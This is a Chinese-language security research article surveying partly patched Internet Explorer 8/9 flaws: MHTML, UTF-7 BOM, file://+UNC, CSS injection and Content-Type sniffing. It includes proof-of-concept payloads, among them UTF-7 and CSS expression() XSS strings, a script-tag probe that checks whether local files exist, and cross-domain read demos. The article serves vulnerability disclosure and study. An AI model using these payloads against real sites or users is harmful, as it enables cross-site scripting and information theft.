|
| |
|
| <![CDATA[<span id="7ztzv"></span>]]><![CDATA[<form id="7ztzv"></form>]]> | | |
|
<![CDATA[<span id="7ztzv"></span>]]> |
|
|
|
|
<![CDATA[<address id="7ztzv"></address>]]>
| |
關于IE的那些雞肋
by SuperHei_at_www.80vul.com
MS的補丁風格一直都是“縫縫補補”的，從來不“斬盡殺絕”，這個也造就了，很多的
IE漏洞逐步實現“雞屁股”-->“雞肋”-->“雞骨頭”的神奇歷程！本文就以這個過程來對
一些具體IE漏洞的進行簡單跟蹤，及目前的狀態作一些總結：
[注：就MS打算拋棄IE6/7等低版本的IE，另外IE10還是測試開發階段，所以本文測試是在
IE8和IE9上]
一、mhtml的故事
“MHTML vulnerability”無疑是去年最大的亮點，在2011年1月的Ph4nt0m Webzine 0x05上
由d4rkwind《IE下MHTML協議帶來的跨域危害》一文拉開序幕，在Ph4nt0m Webzine 0x05發布
的同時，我在FD上發布了通過學習《IE下MHTML協議帶來的跨域危害》后寫的關于mhtml利用
的文章《Hacking with mhtml protocol handler》，緊接著MS發布了漏洞公告及臨時處理辦
法：Microsoft Security Advisory (2501696)，一直沒有推出正式的補丁直到2011年4月的
MS11-026，但是故事還在繼續...。MS11-26沒有處理好<embed>標簽調用mhtml帶來的安全問
題，只到2011年6月的MS11-037被補丁。似乎一切都很完美了，不過很遺憾的是悲劇還在延續。
我在2011年8月測試發現安裝MS11-057補丁后在某些系統（MS證實XP和Server 2003）上
MHTML vulnerability再次出現，這個問題于9月發布在FD上《MHTML Mime-Formatted
Request Vulnerability Again》而這個問題最終在12月的補丁了補丁（具體不詳:(）
目前看來mhtml完全變為了沒有肉絲的雞骨頭了。
二、utf7 BOM
這個是去年IE猥瑣流問題里的又一亮點，這個延續了mhtml導致的"100+個xss"的傳奇。這個
問題起源于Gareth Heyes于2010年寫的《XSS Lightsabre techniques》一文里，在2011年在
和Mario Heiderich一次交流中得知這個utf7 dom的問題，我們先回顧一下基礎知識"什么是BOM?":
BOM（byte-order mark），即字節順序標記，它是插入到以UTF-8、UTF16或UTF-32編碼
Unicode文件開頭的特殊標記，用來識別Unicode文件的編碼類型。
對于utf7來說BOM字符為：“+/v8、 +/v9、 +/v+、 +/v/”，因為BOM字符要求位于文件開
頭，所以它的優先等級應該在html文件設置charset的前面如<meta>。但是在一些瀏覽器如
IE在處理BOM時，它的優先等級先于HTTP Content-Type header，由于UTF-7編碼的特殊性，
導致通過注射BOM來控制編碼，從而利用utf7編碼來繞過一些安全過濾。主要表現在xss過濾
繞過上。具體詳見：《about utf7-BOM string injection》一文。
對于這個問題MS好像一直都沒有公開談論過，于是d4rkwind在2011年8月的一天再次測試是發
現MS做了一定的“fix”：HTTP Content-Type header里的charset優先于BOM！如下代碼：
<?php
header('Content-Type:text/html;charset=utf-8');
?>
+/v8/ +ADw-script+AD4-alert(1)+ADw-/script+AD4-
當用IE8、IE9訪問以上代碼時，編碼為utf8而不是utf7，所以上面的js代碼沒有執行。但是
我們測試發現在IE8下當我們轉換編碼或瀏覽器窗口前進后退動作到這個頁面時，我們的js將
被執行，也就是編碼轉為utf7，那么我們用代碼實現一下：
< script>
function bom() <iframe src
function back() {
w.location.;
}
</script>
<input type=submit value="go" onclick="bom()">
http://192.168.1.100/ie/utf7/back.htm代碼如下：
< script>
setTimeout('history.back()',100);
</script>
另外我們也可以這樣實現：
<meta http-equiv="refresh" content="2;URL=http://192.168.1.100/ie/utf7/back.htm"/>
<iframe src="http://192.168.1.100/ie/utf7/bom.php"></iframe>
這個方法在IE9下不行。
另外對于使用style、link標簽引用風格文件及HTTP Content-Type header沒有指定
charset的情況下，IE8、9仍然用BOM優先。
三、file://+UNC
同樣是在2011年1月的Ph4nt0m Webzine 0x05上有我寫的一篇文章《走向本地的邪惡之路》里
面就是通過iframe通過file://+UNC調用本地xss來實現讀取本地文件。也就是說在當時的環
境iframe使用file://+UNC是合法的。即使Ph4nt0m Webzine 0x05發布后，MS一直也沒有對應
的防御措施，只到MS11-057，而這個補丁推出主要是處理“cookiejacking”的問題。一切來
得那么意外！但是MS的補丁風格從來都不是“斬盡殺絕”的！除了iframe外其他的標簽還是
通過file://+UNC加載本地文件的,如：
<img src="file:////127.0.0.1/c$/ie9.PNG" ></img>
<script src="file:////127.0.0.1/c$/ie.js" ></script>
在wooyun上曾經發布一個利用< script>調用本地文件，然后通過錯誤來判斷的本地文件存在
與否的公告。那么我繼續測試一下：
a.htm
<script>
window.onerror=function(){
alert('文件存在');
return true;
}
</script>
<script src ="file:////127.0.0.1\c$\windows\system32\cmd.exe"></script>
b.htm
<script>
window.onerror=function(){
alert('文件存在');
return true;
}
</script>
<script src ="file:////127.0.0.1\c$\windows\system32\aaa.exe"></script>
訪問a.htm時會提示文件存在，訪問b.htm則不會彈筐。一個完美的信息泄漏的漏洞！:)
另外對于第三方的瀏覽器來說我們仍然可以利用iframe通過file://+UNC調用本地html文件，
也就是說“走向本地的邪惡之路”在IE的第3方瀏覽器里還可以使用，當然在IE8、9里“信任
站點”也是可以使用的。
四、css注射跨域
早在2009年大牛Chris Evans在他的blog里《Generic cross-browser cross-domain theft》
就通過插入css字符來達到跨域讀取敏感信息的目的，但是當時并沒有提出"CSS String
Injection"這個概念只到paper《Protecting Browsers from Cross-Origin CSS Attacks》
的發布。當時各大瀏覽器都基本沒有限制加載css文件的Content-Type，及DOM對
document.styleSheets讀取域的限制，所以基本都受到影響。我當時在測試的時候意外發現
了ie8的一個新的漏洞：《IE8 Css Cross-Domain Information Disclosure
Vulnerability》IE8允許DOM通過document.styleSheets(0).imports(0).cssText讀取遠程的
文件。這些問題一起MS-071得到補丁，當然MS的補丁都會給你留下一絲希望，不會“趕盡殺
絕”的 :)。MS-071的補丁限制了在加載第3方css文件時的Content-Type，也就是說你如果使
用<LINK REL="stylesheet">或<style> @import url("");</style>加載遠程的css時，不讓
加載html等非css文件。
上面分析得到MS-071后的結果：
1、對于遠程文件來說，可以控制加載頁面的Content-Type，那么我們還可以實現跨域讀取。
2、對于同一域來說，沒有任何限制。
對于1來說我們可以看看以下demo：
<html>
<head>
<style>
@import url("http://www.80vul.com/css.php?c=text/css");
</style>
<script>
function loaded() {
alert(document.styleSheets(0).imports(0).cssText);
}
</script>
</head>
<body onload="loaded()">
</body>
</html>
css.php
<?php
//header("Content-Type: text/css");
header("Content-type: ".$_GET['c']);
?>
body {
font-family:
'x';
}
當然對于header("Content-type: ".$_GET['c']);這樣的代碼是比較“理想”的情況，在現
實攻擊里我們可以通過“HTTP Response Splitting”來實現控制Content-Type的目的。
對于第2種情況，很多人包括MS官方都不認為有什么可利用的，因為它的前提就是同域，不存
在跨域的概念。但是萬事都有例外，我們看下如下代碼：
//demovul.php
<LINK REL="stylesheet" HREF="./<?=$_GET['css']?>">
可以通過提交demovul.php?css=aa.css來任意調用css，那么因為這個本事就是在同一個域，
所以我們只要找到一個可以注射css字符的點，然后提交個demovul.php?css=就可以實現插入
任意的css語句了，比如在ie下可以使用expression()來實現xss，如：
http://192.168.12.102/ie/demovul.php?css=cssinj.php?a='}body{font-family:'x';xss:expression((window.rrr==1)?'':eval('rrr=1;eval(alert(111));'));font-family:'';{'
五、本地跨域
對于打開本地HTML文件是，IE一直都是“嚴防死守”的，比如IE打開本地文件html文件時，
如果有js會提示并要用戶允許后才可以執行。而悲劇的是這些都只是基于IE這個“外殼”上
的防御，但更加多的第3方基于IE“內核”[Trident]的瀏覽器，是沒有提示的。另外
Trident在本地執行WSH是有安全提示的，但是在請求http域時沒有任何防御，如下代碼：
<script>
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP',
'Microsoft.XMLHTTP',
'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0',
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;
xmlhttp.open("GET", "http://www.80vul.com/", false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
alert(ret);
</script>
在本期文章《Android應用安全之開發環境帶來的危險》就利用了Eclipse自帶瀏覽器的本地
跨任意http域的問題。
六、window.onerror跨域信息泄漏漏洞
這個是一個名副其實的“雞肋”漏洞，這個問題是Chris Evans大牛在blog:《Minor leak,
major headache》里提到的，到目前為止，這個雞肋還可以正常工作 :),測試代碼如下：
<html>
<body>
<script>
window.onerror = function(msg, url, line) {
if (onerror.num++ < onerror.max) {
alert("ERROR: " + msg + "\n" + url + ":" + line);
return true;
}
}
onerror.max = 3;
onerror.num = 0;
</script>
<script src="http://www.80vul.com/test/error.txt">
</script>
</body>
</html>
七、被忽視的Content-Type
在HIT2011上Yosuke HASEGAWA在《Make A Contract with IE and Become a XSS Girl!》的
演講里，提到了IE在處理沒有在注冊表里注冊過的Content-Type類型時，會根據請求的URL里
的文件后綴來判斷。如下：
http://www.taobao.com/expressway/index.php?id=mytaobao&container=test
當我們使用IE8訪問上面url是會提示下載，而訪問下面url時，會解析html。
http://www.taobao.com/expressway/index.php/x.html?id=mytaobao&container=test
可惜這個方法不適用于IE9。
后話及參考：
從上面的漏洞來看，IE9在一些猥瑣流安全上有了比較大的進步，但是還是遺留了一些
“雞肋”，而在一定的場景下，也完全有可能變為“雞屁股”！看來MS的安全部門的人員都
是上帝的信徒！
至于本文里提到的那些文檔，這里就沒有給出具體的參考鏈接了，有需求的可以自己搜索或
者在我的blog：http://hi.baidu.com/hi_heige/上尋找。本文很多都是基于記憶來總結的，
如有不妥當或者錯誤的地方請一定告知，謝謝各位看官及文章里提及的那些文檔的作者們！
-EOF-
|
| |
|
| <![CDATA[<span id="7ztzv"></span>]]><![CDATA[<form id="7ztzv"></form>]]> | | |
|
<![CDATA[<span id="7ztzv"></span>]]> |
|
|
|
|
<![CDATA[<address id="7ztzv"></address>]]>
| |